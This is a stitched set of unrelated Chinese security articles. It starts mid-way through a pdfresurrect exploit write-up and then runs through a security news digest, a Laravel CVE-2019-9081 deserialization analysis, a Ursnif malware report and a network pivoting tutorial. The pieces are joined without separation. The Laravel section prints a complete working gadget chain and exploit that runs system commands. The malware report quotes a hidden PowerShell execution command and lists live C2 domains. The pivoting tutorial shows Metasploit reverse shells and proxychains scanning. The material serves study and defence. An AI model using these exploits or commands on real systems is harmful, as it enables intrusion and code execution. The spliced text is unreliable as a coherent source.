/lib/x86_64-linux-gnu/libc.so.6 ##### 终于找到你,还好我没放弃 利用两个`sub rax, 1 ; ret`让rax置零,再接那个rax == NULL的one_gadget,winhex中修改 测试 boom!!成功拿到shell,大功告成! #### 附件 完整的payload见 <https://github.com/snappyJack/pdfresurrect_CVE-2019-14267> 其中rop位置可能需要自行修改 本人gcc和系统版本如下 root@c7c87f16a29d:/home/pdfresurrect-0.15# /lib/x86_64-linux-gnu/libc.so.6 -V GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al. Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 5.4.0 20160609. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al BIND-8.2.3-T5B libc ABIs: UNIQUE IFUNC For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>. root@c7c87f16a29d:/home/pdfresurrect-0.15# uname -a Linux c7c87f16a29d 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux root@c7c87f16a29d:/home/pdfresurrect-0.15# #### 参考 <https://www.exploit-db.com/exploits/47178>
社区文章
# 【知识】8月3日 - 每日安全知识热点 | ##### 译文声明 本文是翻译文章，文章来源：安全客 译文仅供参考，具体内容表达以及含义原文为准。 **热点概要：SMBLoris：Windows拒绝服务漏洞、 在ReactJS应用程序中利用脚本注入漏洞、利用OAuth和o365/Azure进行网络钓鱼、HUNT Burp Suite扩展、Fuzz测试学习资源（书籍、视频、工具、存在漏洞的程序样本等）、isf:基于Python的工控漏洞利用框架 、Android漏洞POC、EXP整理、堆溢出学习之0CTF 2017 Babyheap、丝绸之路3声称被黑客入侵,老板破产 ****** **国内热词(以下内容部分摘自** **<http://www.solidot.org/> )：** 宝马、福特和尼桑等使用的 2G Modem 发现安全漏洞 **资讯类：** 约17.5万台中国联网安全摄像头可轻易被黑 <http://securityaffairs.co/wordpress/61595/iot/security-cameras-flaws.html> **暗网新闻：** 丝绸之路3声称被黑客入侵,老板破产 <https://www.deepdotweb.com/2017/08/02/silk-road-3-1-got-hacked-owner-claims-bankruptcy/> **技术类：** 在ReactJS应用程序中利用脚本注入漏洞 <https://medium.com/@muellerberndt/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1> OnePlus 2缺少SBL1验证破坏Secure Boot [https://alephsecurity.com/vulns/aleph-2017026](https://alephsecurity.com/vulns/aleph-2017026) 堆溢出学习之0CTF 2017 Babyheap <http://0x48.pw/2017/08/01/0x36/> Android漏洞POC、EXP整理 [https://github.com/jiayy/android_vuln_poc-exp](https://github.com/jiayy/android_vuln_poc-exp) isf:基于Python的工控漏洞利用框架 <https://github.com/dark-lbp/isf> Sublime Text 的 URL Handler "Subl" 存在一个 Shell 命令执行漏洞 [https://inopinatus.org/2017/08/02/shell-command-execution-vulnerability-in-subl-a-third-party-sublime-text-url-handler/](https://inopinatus.org/2017/08/02/shell-command-execution-vulnerability-in-subl-a-third-party-sublime-text-url-handler/) SMBLoris：Windows拒绝服务漏洞 [http://smbloris.com/](http://smbloris.com/) Microsoft didn’t sandbox Windows Defender, so I did <https://blog.trailofbits.com/2017/08/02/microsoft-didnt-sandbox-windows-defender-so-i-did/> BEAST: An Explanation of the CBC Padding Oracle Attack on TLS <https://www.youtube.com/watch?v=-_8-2pDFvmg> 从BlackEnergy到ExPetr勒索软件相似性分析 <https://securelist.com/from-blackenergy-to-expetr/78937/> 如何使用单一下载远程窃取MacOS上的专有文件 <https://lab.wallarm.com/hunting-the-files-34caa0c1496> Varnish Cache拒绝服务漏洞 <https://www.varnish-cache.org/lists/pipermail/varnish-announce/2017-August/000722.html> HUNT Burp Suite扩展 <https://github.com/bugcrowdlabs/HUNT> 利用OAuth和o365/Azure进行网络钓鱼 <http://staaldraad.github.io/pentest/phishing/2017/08/02/o356-phishing-with-oauth/> DG on Windows 10 S:分析系统 <https://tyranidslair.blogspot.co.uk/2017/08/copy-of-device-guard-on-windows-10-s.html> . 恶意软件分析：通过自定义CC服务器解析OSX/fruitfly <https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Patrick-Wardle-Offensive-Malware-Analysis-Fruit-Fly.pdf> 浅析CLR中“boxing”的内部实现 <http://mattwarren.org/2017/08/02/A-look-at-the-internals-of-boxing-in-the-CLR/> 基于SSL/TLS的恶意软件攻击 <https://www.zscaler.com/blogs/research/ssltls-based-malware-attacks> Fuzz测试学习资源（书籍、视频、工具、存在漏洞的程序样本等） <https://github.com/secfigo/Awesome-Fuzzing/blob/master/README.md> 针对CVE-2017-0199、CVE-2017-8570的分析（俄文） <https://a888r.ru/msoffice/> proxmark3：一款强大的RFID工具 <https://github.com/Proxmark/proxmark3> 文档元数据在威胁情报中的应用 <http://windowsir.blogspot.com/2017/08/document-metadata.html>
社区文章
# CVE-2019-9081 Laravel反序列化浅析 | ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 一、原理 ### （一）概述 Laravel是一个具有表现力强、语法优雅的web应用程序框架。按照框架作者的理念，开发必须是一种愉快和创造性的经历。因此，Laravel试图通过简化大多数web项目中使用的常见任务来使开发变得容易。 ### （二）CVE-2019-9081 相较于v5.6，laravel v5.7版本中多了一个`PendingCommand.php`文件。[官方文档](https://laravel.com/api/8.x/Illuminate/Testing/PendingCommand.html)对于这个文件的class的大体讲解如下， 借用大佬的一句话，`__destruct()`方法是触发反序列化漏洞的最好方法。 查看`__destruct()`方法，其中调用了`run()`， run的介绍如下， 即执行命令，这是一个可能的可利用点，还要对其进行观察分析，才能确认其是否真正可以利用。 我自己调试分析的过程记录在下，如有不足之处希望各位不吝赐教。 ## 二、调试 ### （一）环境搭建 **1.基础环境** [搭建参考链接](https://laravelacademy.org/post/9528.html) 首先，从PHPStudy上安装composer， 如有需要可配置国内镜像源， composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ 然后通过 Composer 安装 Laravel 安装器： composer global require "laravel/installer" 安装指定版本的Laravel应用，比如5.7版本，可以使用这个命令： composer create-project --prefer-dist laravel/laravel blog 5.7.* 如此会在当前目录创建一个名为blob的新应用，将Phpstudy中的网站根目录设为blob/public，访问localhost， 见到此页面， 即说明搭建成功。 若在此过程中遇到`Fatal error: Allowed memory size of 1610612736 bytes exhausted (tried to allocate 4096 bytes)`的错误，可参考[此链接](https://blog.csdn.net/wjcms/article/details/108932182)。 **2.情境设定** 情境设定如下：存在某一基于此框架的不安全的开发点`VulController`。 配置过程如下，在`routes/web.php`中添加一条路由记录，`Route::get('/vul', 'VulController[@index](https://github.com/index "@index")');`，然后在`app/Http/Controllers`目录下新建文件`VulController.php`，源码如下: <?php namespace App\Http\Controllers; //VulController.php class VulController { public function index() { // echo "666"; unserialize($_GET['p']); } } 若是访问不了127.0.0.1/vul，则可能需要修改Apache的配置，使其允许路由，可参考[Ubuntu Apache2开启mod_rewrite解决laravel路由失效问题](https://blog.csdn.net/wuhengde/article/details/49535343) payload <?php //gadgets.php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app) { $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } ?> exp <?php //chain.php include("gadgets.php"); echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('id'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")))))); ?> exp <?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } namespace{ $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))); $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("system",array('whoami'),$genericuser,$application); echo urlencode(serialize($pendingcommand)); } **3.其它** 遇到了PHPStorm+xdebug调试时过几分钟就会断开的错误，这时会出现Internal Server Error错误， 搜索关键词 xdebug 超时，可得[PHPStorm+xdebug超时参考链接1](https://blog.csdn.net/xkdlzy/article/details/110880645)与[PHPStorm+xdebug超时参考链接2](https://my.oschina.net/lylyg/blog/4315320)， 可以通过修改配置文件解决， 在php.ini中的xdebug相关设置中，设置 xdebug.remote_cookie_expire_time = 3600 max_execution_time=3600 max_input_time=3600 default_socket_timeout = 3600 在apache配置文件httpd.conf中，额外设置 Timeout 3600FcgidIOTimeout 3600FcgidIdleTimeout 3600IPCConnectTimeout 3600IPCCommTimeout 3600 不出意外，配置之后即可愉快调试。 ### （二）复现 运行exp，可得可使用的payload， 携带payload访问vul， 已执行whoami命令，可见成功复现。 ### （三）调试 调用栈的主要部分， BoundMethod.php:113, Illuminate\Container\BoundMethod::getMethodDependencies()BoundMethod.php:29, Illuminate\Container\BoundMethod::Illuminate\Container\{closure:E:\phpstudy_pro\WWW\blog\vendor\laravel\framework\src\Illuminate\Container\BoundMethod.php:27-31}()BoundMethod.php:75, Illuminate\Container\BoundMethod::callBoundMethod()BoundMethod.php:31, Illuminate\Container\BoundMethod::call()Container.php:572, Illuminate\Foundation\Application->call()PendingCommand.php:136, Illuminate\Foundation\Testing\PendingCommand->run()PendingCommand.php:220, Illuminate\Foundation\Testing\PendingCommand->__destruct()...index.php:55, {main}() 下面分两段进行调试分析。 **1.类的加载至__destruct()方法** 序列化是将内存中的对象转换为外存中的字节序列的过程，保证对象在传递和保存对象时的完整性和可传递性；反序列化是将字节序列成目标对象的过程。既然反序列化要将字节流还原成对象，那么在反序列化执行的服务端，就应该完成对这些类的加载，才能顺利完成后面的工作。 我们发送payload，先令程序断在unserialize处， 强制步入，此时调试过程会直接进入AliasLoader->load()， 中间的unserialize()和spl_autoload_call()这里无法进入，但我们可以通过查阅资料了解它们详细的内部功能。 unserialize()不展开讲，主要是spl_autoload_call()， 其功能是去注册的目录找与 classname 同名的 .php/.inc 文件， 在AliasLoader->load()中，我们可以看到，先 此处先检查要加载的$alias中是否有static::$facadeNameSpace，如果有，则调用loadFacade，如果没有，则进入下面的流程。 可以看到，这里首先加载的是PendingCommand对象，对于它来说，其名字里不含有Facade，故而进入下面的流程，判断$this->aliases中是否有$alias， 此时我们可以看到，这里也是false的。 接下来调用loadClass来加载PendingCommand， 可以看到，此处根据路径相对关系对Illuminate/Foundation/Testing/PendingCommand进行了加载，最终通过下面的includeFile进行了include， 继续向下运行，就会完成PendingCommand的加载过程， 接下来加载GenericUser，大体过程与上面类似，不再赘述。 当payload中的类都加载完毕后，就会进入类的__destruct()， 此时，hasExecuted天然为false， 将会顺利进入run()。 **2.run()方法内部** **1.执行命令前** 我们跟进run()， call($this->command, $this->parameters)处疑似run()内的命令执行点，在到达call()之前还有一个$this->mockConsoleOutput()方法，要想达到疑似的命令执行点，需要顺利走过mockConsoleOutput()，根据注释，改函数的功能是”Mock the application’s console output.”，就是模仿应用的控制台输出， 这里想说点题外话了。 和之前在其它文章中说过的有一定的相似之处：在研究反序列化漏洞的过程中，当我们发现一个可能可以利用漏洞点之后，所有要做的事有二：一是构造一个可触发漏洞的payload，二是保证此payload可用顺利到达触发点。 payload到达触发点的过程（或曰不断靠近触发点的过程），在Java的反序列化漏洞的调试过程中会遇到一些和主题关联不大的函数（如[此篇文章](https://www.anquanke.com/post/id/235233)的LockVersionExtractor.extract()函数），若这些函数执行成功，不会对结果产生积极影响，但如果不能成功走过这些函数，则整个执行过程会被打断，就无法达到触发点。 对于这类函数，我们的思路就是保障它们顺利进行，不至于打断整个执行流程就可以了，其具体作用不是重点考虑的对象。举个不恰当的例子，高中时崇拜的数学老师曾经说过：很多中档级别的大题，你做对了，是没有用的，因为人人都会，但是你做错了，一定是不好的，因为会被别人拉开。 mockConsoleOutput的功能是模拟控制台输出，顺利运行了这个函数似乎对命令执行没有影响，但是若是在这个函数里出了什么错误，则一定不能达到命令执行的点（尽管现在还是疑似点）。 比如将exp简单更改， 若如此，则在如下这行会进入createABufferedOutputMock()函数， 跟进之， 此时的$this如下， 故而$this->test->expectedOutput是不存在的， 再向下运行就会抛出异常， 这样的话就没法到可能的执行命令点了，整个流程就被打断了。解决的思路就是参加foreach循环的这个$this->test->expectedOutput应该存在，且是个数组，与之类似的还有$this->test->expectedQuestions。 具体来讲，$this->test中应该有个expectedOutput，正常情况下，应该控制$this->test为一个对象，这个对象有expectedOutput属性。 查看之后，可以看出，按照Laravel本身的设计，$this->test应该是一个Test类，经过学习网络上的资料，Test类一般不会被加载。这样的话，不好找一个天然的有expectedOutput的类。 此处可以用到PHP魔术方法中在ctf题中可能遇到的一个技巧，当访问一个类中不存在的属性时会触发`__get()`方法，通过去触发`__get()`方法去进一步构造pop链。 接下来需要找一个合适的`__get()`，比如下面这个就不一定合适， 下面这个GenericUser就比较合适， 它的attributes属性是可控的，当运行到foreach($this->test->expectedOutput)时，返回控制好的GenericUser->attributes[‘expectedOutput’]数组即可，不至于出错，于是有了exp中如下的代码。 class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; }}$genericuser = new Illuminate\Auth\GenericUser(array("expecstedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))); 如此，则运行到如下这一步时， 将触发GenericUser的`__get()`， 接下来可顺利走出createABufferedOutputMock()， 回到mockConsoleOutput()， 如法炮制即可顺利走过接下来的$this->test->expectedQuestions。 **2.执行命令中** 经历了mockConsoleOutput()，最终顺利走回run()，到达可能的命令执行点。 此处的Kernel::class为定值， 步入，查看情况，先是获取key，然后试图make之， 跟进，此时试图make一个抽象类，名字就是Kernel， 继续跟进，进入了Container的make，其内部又调用了resolve， 跟进之，这里试图获得Kernel的非抽象的类， 跟进，可以看到，Kernel这里是没有非抽象的类的，所以不从第一个if中return， 步出getConcrete，继续向下，有一处判断， 可见，返回值为Application， 接下来走到此处， 进入，此时$concrete为Application，$abstract为Kernel，且$concrete非Closure的实例， 所以这里是not buildable，将会进入else， 此处会进行make($concrete)， 步入，关键点是parent::make($abstract, $parameters); Application继承了Container， 再度进入Container的make。 对比上次进入Container::make时，$abstract的值为Kernel，现在已经是Application了， 经过此番运转，情况已经发生了转变，继续向下遇到isBuildable时，情况和之前就不一样了， 此时$abstract和$concrete都为Application，故而是Buildable， 继续走，步出几层，就可进入Container::call， 这里看起来已经很接近最后执行命令的点了，但是还不够彻底，继续跟进， 先进入isCallableWithAtSign，里面判断$callback中是否有@， 显然没有，再加上$defaultMethod为null，所以会向下走， $callback的参数是通过gerMethodDependency获得的，跟进之， addDependencyForCallParameter会给$callback添加参数， 函数的最后将我们传入的$parameters数字和$dependencies数组（为空）合并之后return，最后在BoundMethod对象的call()中我们相当于执行了call_user_func_array(‘system’,array(‘whoami’)) 执行效果如下。 ## 三、收获与启示 Java和PHP的反序列化漏洞有明显不同，但也有较大的共同之处。不同点大可能是在Java中间件要找到的仅仅是一个readObject，在对象的反序列化过程中触发RCE；PHP中的对象的unserialize可能明显给出，需要找到call_user_func_array等执行命令的点。相同点大概是构造一个可触发漏洞的payload，并保证此payload可用顺利到达触发点。 ## 参考链接 <https://www.cnblogs.com/tr1ple/p/11079354.html> <https://skysec.top/2019/07/22/CVE-2019-9081-Laravel-Deserialization-RCE-Vulnerability/#%E6%80%BB%E7%BB%93> <https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/> <https://www.cnblogs.com/20175211lyz/p/12343980.html> <https://xz.aliyun.com/t/5510> <https://learnku.com/articles/4681/analysis-of-the-principle-of-php-automatic-loading-function>
社区文章
原文链接：<https://blog.yoroi.company/research/ursnif-long-live-the-steganography/> #### 一、介绍 近期，又一波 **Ursnif** 木马[袭击](https://blog.yoroi.company/warning/campagna-di-attacco-fattura-corretta/)了意大利。 Ursnif是最活跃的银行木马之一。它也叫Gozi，事实上它是Gozi-ISFB银行木马的一个分支，在2014年它的的源代码被泄露，多年来黑客们更新和扩展了Gozi的功能。经过多次变体，如今的Ursnif木马藏匿于办公文档，其中嵌入了VBA宏，它是作为滴管和多阶段高度混淆的 _PowerShell_ 脚本，以隐藏真正的Payload。本文讨论的Ursnif使用隐写术制作恶意代码，可以避免AV检测。 此外，这个变体Ursnif木马还使用了`QueueUserAPC`进程注入技术以更加隐蔽的方式注入到`explorer.exe`，因为在目标进程中并没有发现有远端进程。 #### 二、技术分析 初始样本显示为错误的Excel文件，它要求用户启用宏以便查看虚假文档，内容通常是采购订单，发票等。 提取出宏代码，首先显示恶意软件使用属性`Application.International MS Office`检测受害者所在国家或地区。在这里是意大利（代码39），同时宏将使用 _Shell_ 函数执行下一个命令。 宏的其他功能有准备 _shell_ 命令以启动，连接几个不同编码方式的字符串（主要是十进制和二进制）。生成的命令是一个很长的二进制字符串，该字符串将使用以下函数转换为新的Powershell命令： [Convert]::ToInt16() -as[char] 从上图中可以看到，恶意软件将从两个嵌入的URL中至少一个下载图像： * <https://images2.imgbox[.]com/55/c4/rBzwpAzi_o.png> * <https://i.postimg[.]cc/PH6QvFvF/mario.png?dl=1> 图片文件可以嵌入Powershell命令。这里的图片文件使用[Invoke-PSImage](https://github.com/peewpw/Invoke-PSImage)脚本制作，该脚本将一些特殊脚本字节嵌入到PNG文件的像素中。 继续分析， _Base64_ 解码Payload，发现如下代码： 可以看出它是十六进制编码，通过我们提到的`[Convert] :: ToInt16`函数进行解码。 最终的代码是： 脚本对受害者的国家再次检查，以确保是意大利。它使用了以下命令： Get-Culture | Format-List -Property * 如果检查是意大利，那么脚本将从 _<http://fillialopago[.]info/~DF2F63>_ 下载EXE格式的Payload，存储在`%TEMP%\Twain001.exe`并且立即执行。 在分析时，大多数防病毒软件都不能检测出该文件： 尽管它的查杀率很低，但是这个 _EXE_ 文件是一个经典的Ursnif加载器，它用来访问服务器下载恶意二进制文件，最后二进制文件被注入到`explorer.exe`进程。这里，该 _EXE_ 文件使用函数`IWebBrowser.Navigate`从其恶意服务器上`felipllet[.]info`下载数据。从下图中可以看到，这个URI路径为视频文件（.avi）的路径。 服务器响应此请求发送加密数据，如下图所示 经过解密分析后，所有有用的数据被储存在注册表`HKCU\Software\AppDataLow\Software\Microsoft\{GUID}`中。 这里它的 _RegValue_ 名为“ **defrdisc** ”（提醒磁盘碎片整理的合法程序），它包含的命令将在下一步或Windows启动时执行，如下图所示。 该命令将通过Powershell引擎执行包含在名为“ **cmiftall** ”的 _RegValue_ 中的数据。 C:\Windows\system32\wbem\wmic.exe /output:clipboard process call create “powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty ‘HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E’).cmiftall))” 这里的“cmiftall”的数据很简单，是以十六进制方式编码的PowerShell脚本，所以它重启后也会执行。 使用存储在 _RegKey_ 中的Powershell脚本（如上图所示），Ursnif可以自动为其包含最终Payload的恶意字节数组分配足够的空间，同时它通过`QueueUserAPC`和`SleepEx`的调用将其作为合法进程启动。 **Ursnif** 的完整工作流程如图所示： 最后，我们分析最后一个脚本的字节数组中的数据，可以提取一个与Ursnif注入`explorer.exe`进程相对应的DLL 。 可以看到，这个DLL文件似乎已经损坏： 但是，当使用`APC`注入技术将其加载到内存中时，它又可以正常工作。这次，我们将文件提交到[VirusTotal](https://www.virustotal.com/)检测，结果是灾难性的，没有一个厂商能够正确识别它。 #### 三、小结 对比我们在2018年12月的[Ursnif分析](https://blog.yoroi.company/research/dissecting-the-latest-ursnif-dhl-themed-campaign/)和2019年1月的[Cisco Talos Intelligence](https://blog.talosintelligence.com/2019/01/amp-tracks-ursnif.html/)，这个新型Ursnif样本使用相同的`APC`注入技术将二进制文件灌输到`explorer.exe`进程，过程中使用了各种混淆眼球的隐写术隐匿其恶意行为。Ursnif木马比起以前更加活跃和广泛，虽然木马中`C&C`地址已经无法访问，但恶意软件植入仍然存在，因为骗子们也在不断地改变他们的`C&C`域以防止跟踪和分析。 研究人员正在继续分析这个未被发现的DLL，提取信息和证据后将分享出来。 #### 四、IOC ##### Hashes * 630b6f15c770716268c539c5558152168004657beee740e73ee9966d6de1753f (old sample) * f30454bcc7f1bc1f328b9b546f5906887fd0278c40d90ab75b8631ef18ed3b7f (new sample) * 93dd4d7baf1e89d024c59dbffce1c4cbc85774a1b7bcc8914452dc8aa8a79a78 (final binary) ##### Dropurls * <https://images2.imgbox[.]com/55/c4/rBzwpAzi_o.png> * <https://i.postimg[.]cc/PH6QvFvF/mario.png?dl=1> * <https://fillialopago[.]info/~DF2F63> * <http://felipllet[.]info> ##### C2s * pereloplatka[.]host * roiboutique[.]ru * uusisnfbfaa[.]xyz * nolavalt[.]icu * sendertips[.]ru ##### IPs * 185.158.248.142 * 185.158.248.143 ##### Artifacts * HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E ##### Yara rules import "pe" rule Ursnif_201902 { meta: description = "Yara rule for Ursnif loader - January version" author = "Yoroi - ZLab" last_updated = "2019-02-06" tlp = "white" category = "informational" strings: $a1 = "PADDINGXX" $a2 = { 66 66 66 66 66 66 66 } condition: all of ($a*) and pe.number_of_sections == 4 and (pe.version_info["OriginalFilename"] contains "Lumen.exe" or pe.version_info["OriginalFilename"] contains "PropositionReputation.exe") }
社区文章
# **原创翻译者：sanwenkit** 按照纵深防御原则，重要服务往往通过多层安全架构进行保护。如果我们将其应用到组织内网，可以看到关键系统几乎不太可能与其他系统存在于同一网络中。在本文中，我们将会分析攻击者如何通过跳板对一开始无法直接访问的深层内网进行渗透的案例。 什么是路由 判断设备能否在不同网络间进行互相通讯的决策过程称为路由。通常路由在路由器中被实施，路由器通过路由表将数据包转发至目的地址。路由规则不仅仅可以在路由器等网络设备中实施，也可以在安装有操作系统的主机中实施。 1. 根据上图中示例，为了成功地在192.168.1.0/24和192.168.10.0/24两个不同网段之间通信，需要一条路由表记录。根据在路由器中定义的规则，192.168.1.0/24 网段可以作为源地址访问192.168.10.0/24网段中的目的地址。 一个数据包的传输路径如下： 1、 IP地址是否在本地网络中？ 在本地网络中，直接到达目的地址 不在本地网络中，发送至网关 2、 一旦路由器接收到数据包，它会查询自己的路由表，是否有匹配目的地址或目的地址网段的路由规则 如果有，将该数据包转发至目的地址 如果没有，继续发送至上层网关 3、 相同的过程在其他路由器中不断重复 4、 数据包最终可能会到达拥有外网出口的路由器，并被发送至外网 ### 什么是跳板？ 简单来说，它是一种通过使用跳板主机来访问隔离网段的过程。当攻击者掌握了一台能访问多个不同网段的跳板主机时，网络隔离就失效了。通过这个方法，攻击者可以在跳板机上实施路由来访问隔离网段。每一个发送到隔离网段的请求都需要通过端口转发，类似于隧道（tunnel）。 在上图的拓扑结构中，有一台设备配置了两块网络能够同时访问192.168.1.0/24和192.168.10.0/24两个不同网段。通常情况下，这个两个网段是隔离的，除非一个路由规则被配置。但是在当前情况中，这台双网卡设备的用户可以访问到DMZ区域中的设备。 ### 构建第一个跳板和端口转发 根据我们的攻击场景，攻击者获取了DMZ区域内一台名为RD的设备的控制权限（meterpreter shell）。随后通过信息搜集发现，这台设备拥有双网卡。 备注：当前环境中的路由器不存在网段间的路由规则 msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20 LHOST => 172.16.0.20 msf exploit(handler) > set LPORT 1234 LPORT => 1234 msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162) meterpreter > ifconfig Interface  1 ============ Name         : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU          : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name         : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU          : 1500 IPv4 Address : 172.16.0.11 IPv4 Netmask : 255.255.255.0 Interface 19 ============ Name         : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:7f:3c:fe MTU          : 1500 IPv4 Address : 7.7.7.11 IPv4 Netmask : 255.255.255.0 按照攻击场景，获取了RD系统权限的攻击者想要访问第二块网卡的网段（7.7.7.0/24）。攻击者首先需要在RD系统中定义一条路由规则。 利用metasploit来实施这一操作是非常简单的。下面的命令能够用来在当前meterpreter会话中创建路由规则。 meterpreter > run autoroute -s 7.7.7.0/24 [*] Adding a route to 7.7.7.0/255.255.255.0... [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2 meterpreter > 根据定义的规则，在ID为2的meterpreter会话生命周期内，7.7.7.0/24网段能够被Metasploit框架访问。 在完成这项操作后，通过使用“arp_scanner”之类的后攻击模块，攻击者发现了主机JC的IP地址。JC是该网段中的另一台主机 -7.7.7.20- meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 [*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24 [*]     IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*]     IP  7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) [*]     IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*]     IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter >   现在，在7.7.7.0/24网段中的存活主机IP地址，包括JC主机，都已经被发现了。 自然地，下一个问题出现了，用arp_scanner之类的后攻击模块来执行这些扫描工作是不够高效的。能否使用类似nmap之类的工具？ #### 通过跳板使用NMAP 为了实现nmap扫描，metasploit中的路由配置需要被激活，并且需要通过socks4代理进行流量转发。Metasploit中存在这样的模块满足需求。 使用Metasploit中的socks4代理模块： meterpreter > background [*] Backgrounding session 2... msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a):    Name     Current Setting  Required  Description    ----     ---------------  --------  -----------    SRVHOST  0.0.0.0          yes       The address to listen on    SRVPORT  1080             yes       The port to listen on. Auxiliary action:    Name   Description    ----   -----------    Proxy   msf auxiliary(socks4a) > set srvhost 172.16.0.20 srvhost => 172.16.0.20 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep 1080 [*] exec: netstat -antp | grep 1080 tcp        0      172.16.0.20:1080            0.0.0.0:*               LISTEN      3626/ruby       msf auxiliary(socks4a) > 使用GNU\Linux操作系统内置的 **ProxyChains** 工具，任何TCP连接都能通过TOR、SCOKS4、SOCKS、HTTP/HTTPS等代理方式进行转发。在这项隧道技术中，可以嵌套多层代理。除了提供匿名性以外，如跳板机这样的利用也能实现向隔离的内部网络导入流量。 使用编辑器在文件/etc/proxychains.conf的最后一行加入socks4代理的配置信息。 --- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" #socks4  127.0.0.1 9050 socks4  172.16.0.20 1080 通过proxychains执行nmap扫描是一个简单的操作。流量包会通过定义的代理端口被导入到目标网络. root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK 